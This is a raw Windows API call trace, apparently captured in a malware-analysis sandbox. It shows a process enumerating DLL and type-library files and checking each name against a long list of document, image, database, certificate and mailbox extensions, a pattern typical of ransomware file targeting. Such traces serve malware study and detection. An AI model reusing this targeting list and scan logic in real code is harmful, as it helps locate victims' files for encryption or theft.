	[0189.120] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".edml") returned 5
	[0189.120] lstrcmpiW (lpString1=".edml", lpString2="5.dll") returned -1
	[0189.120] lstrlenW (lpString=".efd") returned 4
	[0189.120] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".elf") returned 4
	[0189.120] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".emf") returned 4
	[0189.120] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".emz") returned 4
	[0189.120] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".epf") returned 4
	[0189.120] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".eps") returned 4
	[0189.120] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".epsf") returned 5
	[0189.120] lstrcmpiW (lpString1=".epsf", lpString2="5.dll") returned -1
	[0189.120] lstrlenW (lpString=".epsp") returned 5
	[0189.120] lstrcmpiW (lpString1=".epsp", lpString2="5.dll") returned -1
	[0189.120] lstrlenW (lpString=".erf") returned 4
	[0189.120] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".exr") returned 4
	[0189.120] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".f4v") returned 4
	[0189.120] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".fido") returned 5
	[0189.120] lstrcmpiW (lpString1=".fido", lpString2="5.dll") returned -1
	[0189.120] lstrlenW (lpString=".flm") returned 4
	[0189.120] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".flv") returned 4
	[0189.120] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0189.120] lstrlenW (lpString=".frm") returned 4
	[0189.120] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".fxg") returned 4
	[0189.121] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".geo") returned 4
	[0189.121] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".gif") returned 4
	[0189.121] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".grs") returned 4
	[0189.121] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".gz") returned 3
	[0189.121] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0189.121] lstrlenW (lpString=".h") returned 2
	[0189.121] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0189.121] lstrlenW (lpString=".hdr") returned 4
	[0189.121] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".hpp") returned 4
	[0189.121] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".hta") returned 4
	[0189.121] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".htc") returned 4
	[0189.121] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".htm") returned 4
	[0189.121] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".html") returned 5
	[0189.121] lstrcmpiW (lpString1=".html", lpString2="5.dll") returned -1
	[0189.121] lstrlenW (lpString=".icb") returned 4
	[0189.121] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".ics") returned 4
	[0189.121] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".iff") returned 4
	[0189.121] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".inc") returned 4
	[0189.121] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0189.121] lstrlenW (lpString=".indd") returned 5
	[0189.121] lstrcmpiW (lpString1=".indd", lpString2="5.dll") returned -1
	[0189.121] lstrlenW (lpString=".ini") returned 4
	[0189.121] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".iqy") returned 4
	[0189.122] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".j2c") returned 4
	[0189.122] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".j2k") returned 4
	[0189.122] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".java") returned 5
	[0189.122] lstrcmpiW (lpString1=".java", lpString2="5.dll") returned -1
	[0189.122] lstrlenW (lpString=".jp2") returned 4
	[0189.122] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".jpc") returned 4
	[0189.122] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".jpe") returned 4
	[0189.122] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".jpeg") returned 5
	[0189.122] lstrcmpiW (lpString1=".jpeg", lpString2="5.dll") returned -1
	[0189.122] lstrlenW (lpString=".jpf") returned 4
	[0189.122] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".jpg") returned 4
	[0189.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".jpx") returned 4
	[0189.122] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".js") returned 3
	[0189.122] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0189.122] lstrlenW (lpString=".jsf") returned 4
	[0189.122] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".json") returned 5
	[0189.122] lstrcmpiW (lpString1=".json", lpString2="5.dll") returned -1
	[0189.122] lstrlenW (lpString=".jsp") returned 4
	[0189.122] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".kdc") returned 4
	[0189.122] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".kmz") returned 4
	[0189.122] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".kwm") returned 4
	[0189.122] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0189.122] lstrlenW (lpString=".lasso") returned 6
	[0189.123] lstrcmpiW (lpString1=".lasso", lpString2="15.dll") returned -1
	[0189.123] lstrlenW (lpString=".lbi") returned 4
	[0189.123] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".lgf") returned 4
	[0189.123] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".lgp") returned 4
	[0189.123] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".log") returned 4
	[0189.123] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".m1v") returned 4
	[0189.123] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".m4a") returned 4
	[0189.123] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".m4v") returned 4
	[0189.123] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".max") returned 4
	[0189.123] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".md") returned 3
	[0189.123] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0189.123] lstrlenW (lpString=".mda") returned 4
	[0189.123] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mdb") returned 4
	[0189.123] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mde") returned 4
	[0189.123] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mdf") returned 4
	[0189.123] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mdw") returned 4
	[0189.123] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mef") returned 4
	[0189.123] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mft") returned 4
	[0189.123] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mfw") returned 4
	[0189.123] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0189.123] lstrlenW (lpString=".mht") returned 4
	[0189.123] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mhtml") returned 6
	[0189.124] lstrcmpiW (lpString1=".mhtml", lpString2="15.dll") returned -1
	[0189.124] lstrlenW (lpString=".mka") returned 4
	[0189.124] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mkidx") returned 6
	[0189.124] lstrcmpiW (lpString1=".mkidx", lpString2="15.dll") returned -1
	[0189.124] lstrlenW (lpString=".mkv") returned 4
	[0189.124] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mos") returned 4
	[0189.124] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mov") returned 4
	[0189.124] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mp3") returned 4
	[0189.124] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mp4") returned 4
	[0189.124] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mpeg") returned 5
	[0189.124] lstrcmpiW (lpString1=".mpeg", lpString2="5.dll") returned -1
	[0189.124] lstrlenW (lpString=".mpg") returned 4
	[0189.124] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mpv") returned 4
	[0189.124] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mrw") returned 4
	[0189.124] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".msg") returned 4
	[0189.124] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".mxl") returned 4
	[0189.124] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".myd") returned 4
	[0189.124] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".myi") returned 4
	[0189.124] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".nef") returned 4
	[0189.124] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".nrw") returned 4
	[0189.124] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0189.124] lstrlenW (lpString=".obj") returned 4
	[0189.124] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".odb") returned 4
	[0189.125] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".odc") returned 4
	[0189.125] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".odm") returned 4
	[0189.125] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".odp") returned 4
	[0189.125] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".ods") returned 4
	[0189.125] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".oft") returned 4
	[0189.125] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".one") returned 4
	[0189.125] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".onepkg") returned 7
	[0189.125] lstrcmpiW (lpString1=".onepkg", lpString2="r15.dll") returned -1
	[0189.125] lstrlenW (lpString=".onetoc2") returned 8
	[0189.125] lstrcmpiW (lpString1=".onetoc2", lpString2="er15.dll") returned -1
	[0189.125] lstrlenW (lpString=".opt") returned 4
	[0189.125] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".oqy") returned 4
	[0189.125] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".orf") returned 4
	[0189.125] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".p12") returned 4
	[0189.125] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".p7b") returned 4
	[0189.125] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".p7c") returned 4
	[0189.125] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".pam") returned 4
	[0189.125] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".pbm") returned 4
	[0189.125] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".pct") returned 4
	[0189.125] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0189.125] lstrlenW (lpString=".pcx") returned 4
	[0189.125] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pdd") returned 4
	[0189.126] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pdf") returned 4
	[0189.126] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pdp") returned 4
	[0189.126] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pef") returned 4
	[0189.126] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pem") returned 4
	[0189.126] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pff") returned 4
	[0189.126] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pfm") returned 4
	[0189.126] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pfx") returned 4
	[0189.126] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pgm") returned 4
	[0189.126] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".php") returned 4
	[0189.126] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".php3") returned 5
	[0189.126] lstrcmpiW (lpString1=".php3", lpString2="5.dll") returned -1
	[0189.126] lstrlenW (lpString=".php4") returned 5
	[0189.126] lstrcmpiW (lpString1=".php4", lpString2="5.dll") returned -1
	[0189.126] lstrlenW (lpString=".php5") returned 5
	[0189.126] lstrcmpiW (lpString1=".php5", lpString2="5.dll") returned -1
	[0189.126] lstrlenW (lpString=".phtml") returned 6
	[0189.126] lstrcmpiW (lpString1=".phtml", lpString2="15.dll") returned -1
	[0189.126] lstrlenW (lpString=".pict") returned 5
	[0189.126] lstrcmpiW (lpString1=".pict", lpString2="5.dll") returned -1
	[0189.126] lstrlenW (lpString=".pl") returned 3
	[0189.126] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0189.126] lstrlenW (lpString=".pls") returned 4
	[0189.126] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0189.126] lstrlenW (lpString=".pm") returned 3
	[0189.126] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0189.126] lstrlenW (lpString=".png") returned 4
	[0189.126] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".pnm") returned 4
	[0189.127] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".pot") returned 4
	[0189.127] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".potm") returned 5
	[0189.127] lstrcmpiW (lpString1=".potm", lpString2="5.dll") returned -1
	[0189.127] lstrlenW (lpString=".potx") returned 5
	[0189.127] lstrcmpiW (lpString1=".potx", lpString2="5.dll") returned -1
	[0189.127] lstrlenW (lpString=".ppa") returned 4
	[0189.127] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".ppam") returned 5
	[0189.127] lstrcmpiW (lpString1=".ppam", lpString2="5.dll") returned -1
	[0189.127] lstrlenW (lpString=".ppm") returned 4
	[0189.127] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".pps") returned 4
	[0189.127] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".ppsm") returned 5
	[0189.127] lstrcmpiW (lpString1=".ppsm", lpString2="5.dll") returned -1
	[0189.127] lstrlenW (lpString=".ppt") returned 4
	[0189.127] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".pptm") returned 5
	[0189.127] lstrcmpiW (lpString1=".pptm", lpString2="5.dll") returned -1
	[0189.127] lstrlenW (lpString=".pptx") returned 5
	[0189.127] lstrcmpiW (lpString1=".pptx", lpString2="5.dll") returned -1
	[0189.127] lstrlenW (lpString=".prn") returned 4
	[0189.127] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".ps") returned 3
	[0189.127] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0189.127] lstrlenW (lpString=".psb") returned 4
	[0189.127] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".psd") returned 4
	[0189.127] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".pst") returned 4
	[0189.127] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0189.127] lstrlenW (lpString=".ptx") returned 4
	[0189.127] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0189.128] lstrlenW (lpString=".pub") returned 4
	[0189.128] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0189.128] lstrlenW (lpString=".pwm") returned 4
	[0189.128] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0189.128] lstrlenW (lpString=".pxr") returned 4
	[0189.128] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0189.128] lstrlenW (lpString=".py") returned 3
	[0189.128] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0189.128] lstrlenW (lpString=".qt") returned 3
	[0189.128] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0189.128] lstrlenW (lpString=".r3d") returned 4
	[0189.128] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0189.128] lstrlenW (lpString=".raf") returned 4
	[0189.128] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0189.128] lstrlenW (lpString=".rar") returned 4
	[0189.128] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.128] lstrlenW (lpString=".raw") returned 4
	[0189.128] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0189.128] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1
	[0189.128] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1
	[0189.128] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1
	[0189.128] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1
	[0189.129] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1
	[0189.130] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1
